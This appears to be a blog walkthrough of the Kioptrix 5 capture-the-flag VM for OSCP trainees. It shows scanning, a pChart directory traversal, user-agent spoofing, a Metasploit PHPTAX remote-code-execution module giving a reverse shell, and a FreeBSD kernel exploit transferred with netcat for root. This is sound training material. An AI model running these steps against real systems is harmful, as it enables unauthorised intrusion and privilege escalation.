Welcome back to the Final Chapter of the Kioptrix VM Series!

These write-ups were created in aiding those starting the PWK Course, or who are training for the OSCP Certificate. The Kioptrix VM’s were created to closely resemble those in the PWK Course. To read more about this, or if you haven’t already read my first post for Kioptrix 1 - then I suggest you do so. That post can be found here.

Alright - let’s get to pwning the final Kioptrix 5 VM!


As usual, this vulnerable machine is targeted at the beginner. It’s not meant for the seasoned pentester or security geek that’s been at this sort of stuff for 10 years. Everyone needs a place to start and all I want to do is help in that regard.

Also, before powering on the VM I suggest you remove the network card and re-add it. For some oddball reason it doesn’t get its IP (well I do kinda know why but don’t want to give any details away). So just add the VM to your virtualization software, remove and then add a network card. Set it to bridge mode and you should be good to go.

This was created using ESX 5.0 and tested on Fusion, but shouldn’t be much of a problem on other platforms.

The Hack:

As always let’s run netdiscover to find all the devices on our network. This will allow us to pinpoint the Kioptrix VM.

 Currently scanning:   |   Screen View: Unique Hosts            
 8 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 480               
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------     00:26:f2:0c:b3:82      1      60  NETGEAR                  d8:cb:8a:bf:d0:59      1      60  Micro-Star INTL CO., LTD.    18:03:73:1c:5d:6a      1      60  Dell Inc.              00:0c:29:95:97:69      1      60  VMware, Inc.

The IP of will be the address of our Kioptrix 5 VM. Once we have that, let’s run an nmap scan to probe for any open ports and running services.

root@kali:~# nmap -sS -A -n

Starting Nmap 7.40 ( https://nmap.org ) at 2016-12-29 12:33 CST
Nmap scan report for
Host is up (0.0012s latency).
Not shown: 997 filtered ports
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:95:97:69 (VMware)
Device type: general purpose|specialized|router
Running (JUST GUESSING): FreeBSD 9.X|10.X (92%), OpenBSD 4.X (91%), Linux 2.6.X (90%), AVtech embedded (89%), HP embedded (85%)
OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:10 cpe:/o:openbsd:openbsd:4.0 cpe:/o:linux:linux_kernel:2.6 cpe:/h:hp:procurve_7102dl
Aggressive OS guesses: FreeBSD 9.0-RELEASE - 10.3-RELEASE (92%), OpenBSD 4.0 (91%), OpenBSD 4.3 (91%), Linux 2.6.18 - 2.6.22 (90%), FreeBSD 9.0-RELEASE (89%), AVtech Room Alert 26W environmental monitor (89%), HP ProCurve Secure Router 7102dl (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

1   1.15 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.65 seconds

From the initial scans we can see that there is TCP/80 and TCP/8080 open, both running Apache HTTPD.

We can infer that both of these are running a web server of some kind - but, nmap is showing that TCP/8080 is forbidden… let’s check to make sure that isn’t a False Positive before we continue.

Nope, nmap was right - we don’t have access to this. Well that’s alright, maybe we will be able to get access in the future. For now let’s just navigate to the website on TCP/80.

Okay - this one works. From here let’s run a nikto scan to check for any vulnerabilities and/or misconfigurations.

root@kali:~# nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2016-12-29 12:41:39 (GMT-6)
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 12:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 8345 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2016-12-29 12:43:00 (GMT-6) (81 seconds)
+ 1 host(s) tested

It seems that the website is vulnerable to CVE-2002-0082 - but when I attempted to exploit this, it failed.

Fair enough - this is the last Kioptrix Machine, it wouldn’t be that easy! At this point I decide to run dirb to see if I can’t enumerate any hidden directories.

root@kali:~# dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Dec 29 13:18:29 2016
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:403|SIZE:210)                            
+ (CODE:200|SIZE:152)                          
END_TIME: Thu Dec 29 13:19:04 2016

Huh… nothing? Really? Well alright then, let’s see if there is anything hidden in the source code.

  <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">

  <h1>It works!</h1>

pChart seems interesting… let’s see if we can’t navigate to it.

Awesome, now we are getting somewhere! It seems from the URL that this version of pChart is 2.1.3.

A quick Google search for that software revealed multiple vulnerabilities, including directory traversal!

So following the vulnerability write-up, let’s navigate to the following:

This should give us access to the passwd file on the Kioptrix Machine.

Nice, it works! At this point I started digging around the /var/www directory, but that boded no results.

I decided to see if I can’t access the Apache HTTP Config file. A quick Google search for the location of the config file led me to this link.

Now that we can traverse the directory, let’s go to /usr/local/etc/apache22/httpd.conf. Maybe we can learn more about what’s on TCP/8080.

After some digging through the config file, we come across the following.

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
ErrorLog "/var/log/httpd-error.log"

# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here.  Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.
#CustomLog "/var/log/httpd-access.log" common

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser


It seems that the only way we can access TCP/8080 is if our user agent is set to Mozilla/4.0 Mozilla4_browser. So let’s do just that.

First let’s open up a new tab in Firefox and navigate to about:config. And click “I’ll be careful, I promise!”.

The let’s create a new string value called “general.useragent.override, and then press OK.

Once that’s done add the following value to the String we just created - Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0.

Note: To revert Firefox to the default user agent, right-click the “general.useragent.override”, click on “Preference” and select “Reset”.

Okay, we should now have access to TCP/8080 - let’s check it out!

Nice, let’s follow the link!

Oh… well that’s not good! It seems that this is some kind of Tax Return Program called PHPTAX.

A quick Google search revealed that this software was vulnerable to a Remote Code Execution Attack.

Alright, let’s fire up Metasploit and see if we can’t exploit this.

root@kali:~# msfconsole 

MMMN$                           vMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.13.8-dev                          ]
+ -- --=[ 1607 exploits - 914 auxiliary - 278 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/http/phptax_exec 

msf exploit(phptax_exec) > options

Module options (exploit/multi/http/phptax_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phptax/         yes       The path to the web application
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   PhpTax 0.8

msf exploit(phptax_exec) > set RHOST

msf exploit(phptax_exec) > set RPORT 8080
RPORT => 8080

msf exploit(phptax_exec) > run

[*] Started reverse TCP double handler on 
[*] - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo JlVllpTK1dBln54a;
[*] Writing to socket A
[*] Writing to socket B
[*] Command: echo 808TsBO0YNvQXIfp;
[*] Reading from sockets...
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "JlVllpTK1dBln54a\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "808TsBO0YNvQXIfp\r\n"
[*] Matching...
[*] A is input...


In a Hackers Voice - We’re in…

Alright, let’s drop a TTY Shell for some more functionality.

/bin/sh -i
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)

Now that we have a working TTY Shell, let’s do some reconnaissance and see if we can’t find a privilege escalation exploit.

$ uname -a

FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd6

Another quick Google search reveled that FreeBDS 9.0 was vulnerable to a Intel SYSRET Kernel Privilege Escalation.

From here let’s go ahead and copy over that exploit, open up a text editor and save it as a .c file on your Kali box. Once that’s done, open up a netcat connection and pipe the exploit file through it.

root@kali:~# gedit sys.c
root@kali:~# nc -lvp 1234 < sys.c 
listening on [any] 1234 ...

Now that we have that waiting for us, let’s navigate to the /tmp folder on the Kioptrix Machine, and connect to our netcat connection - which will automatically download the exploit file for us.

$ cd /tmp
$ nc -nv 1234 > sys.c
Connection to 1234 port [tcp/*] succeeded!

Yes! Let’s compile the exploit and run it!

$ gcc sys.c
$ ./a.out
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
$ whoami


Awesome job! We rooted the final Kioptrix Machine!

This level was way harder than the rest of the Kioptrix Machines. It included a new vulnerability through the use of a Directory Traversal, and also through the use of multiple exploits. This took me quite some time before I figured it out, but once I learned about the HTTPD Config file, it was smooth sailing from there.

Overall - for anyone that has completed these and is getting ready for the PWK and OSCP - just remember… never leave any stone unturned, think “outside the box”, and always try to figure out how you can chain vulnerabilities and exploits to get somewhere you normally can’t. Other than that, just remember to “Try Harder”!

Thanks for reading everyone!

And to those taking on the OSCP - god speed and good luck!


Leave a Comment